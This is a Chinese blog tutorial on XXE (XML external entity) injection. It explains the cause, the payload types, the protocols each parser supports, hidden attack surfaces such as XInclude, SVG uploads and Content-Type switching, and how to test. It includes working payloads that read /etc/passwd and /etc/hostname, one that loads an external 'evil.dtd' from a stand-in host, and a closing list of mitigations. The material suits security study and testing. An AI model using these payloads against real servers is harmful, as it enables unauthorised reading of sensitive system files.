XML 外部实体注入漏洞

0x01 XXE(XML外部实体注入)漏洞

1.1 漏洞原因

1.2 漏洞构造方式

1.3 XML可解析的协议

0x02 寻找XXE漏洞隐藏的攻击面

2.1 XInclude攻击

2.2 通过文件上传进行XXE攻击

2.3 通过修改Content-Type头进行XXE攻击

0x03 如何查找和测试XXE漏洞


0x01 XXEXML外部实体注入)漏洞

1.1 漏洞原因

    XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行、内网扫描等危害。

    libxml<2.9 默认开启

1.2 漏洞构造方式

1.2.1 直接通过DTD外部实体声明

<?xml version="1.0"?>

<!DOCTYPE a[

    <!ENTITY b SYSTEM "file:///etc/passwd">

]>

<a>&b;</a>

1.2.2 通过DTD外部实体声明引入外部DTD文档

#构造数据包
<?xml version="1.0"?>

<!DOCTYPE m [

       <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">

]>

<a>&b;</a>

#而http://mark4z5.com/evil.dtd内容为

<!ENTITY b SYSTEM "file:///etc/passwd">
​
 

1.2.3 通过DTD外部实体声明引入DTD文档

# 构造数据包
<?xml version="1.0"?>

<!DOCTYPE a [

    <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">

]>

<a>%b;</a>

#http://mark4z5.com/evil.dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">
​
 

1.3 XML可解析的协议

libxml2

file、http、ftp

PHP

file、http、ftp、php、glob、data...

JAVA

file、http、ftp、https、jar、gopher...

.NET

file、http、ftp、https

0x02 寻找XXE漏洞隐藏的攻击面

    XXE漏洞的攻击面通常为HTTP传输流量下的XML数据请求,但是在其他方面可能也存在XXE漏洞。

2.1 XInclude攻击

    一些应用程序在用户提交数据后,服务器将数据嵌入到XML文档中,然后对XML进行解析。例如当客户端提交的数据被放入后端的SOAP请求,然后由SOAP服务处理时,就会发生这种情况。

    由于无法控制XML文档,对DTD文档进行修改触发而XXE漏洞,我们可以使用Xinclude进行攻击。XInclude 是一种使用元素、属性以及 URI 引用来合并 XML 文档的机制,它是XML规范的一部分,允许在子文档中构建XML文档。我们可以在XML文档中放入恶意数据来进行XInclude攻击,攻击条件为我们可以控制传输中的数据,将其替换为服务器短的XML文件。

    通过参考XInclude命名空间和提供我们想要包含的文件路径,可以完成XInclude的XXE攻击。

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

2.2 通过文件上传进行XXE攻击

    一些应用程序允许上传使用XML或者包含XML组件的格式文件,并且在服务端会对其进行处理、验证,常见的有DOCX、SVG等格式。

    尤其在图片上传中,服务端可能期望获取到PNG、JPG格式的图片,但是服务端使用的处理库可能同样是支持SVG格式的,所以我们可以通过上传SVG格式的图片来进行XXE攻击。

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
 

2.3 通过修改Content-Type头进行XXE攻击

    大多数情况下,POST请求包使用的是默认的application/x-www-form-urlencoded。有些网站希望接收这种格式的请求,但会容忍其他内容类型,包括XML。

# 普通的请求包:

POST /action HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 7


foo=bar

# 可以替换为:

POST /action HTTP/1.0

Content-Type: text/xml

Content-Length: 52


<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
 

      如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

0x03 如何查找和测试XXE漏洞

    通过定义一个指向系统文件的外部实体,尝试对系统文件目录进行遍历,查看返回包是否包含XXE注入信息。

    构建http://dnslog.cn/等基于可控的外部实体注入,然后对可控URL进行监控,判断是否存在XXE漏洞。

    对于用户端使用非XML文档交互的接口,使用XInclude攻击来尝试包含一个有用的系统文件。

参考资料:

XXE漏洞详解(XML外部实体注入)_谢公子的博客-CSDN博客

What is XXE (XML external entity) injection? Tutorial & Examples | Web Security Academy

  

   

   

   

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
XML外部实体注入漏洞XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值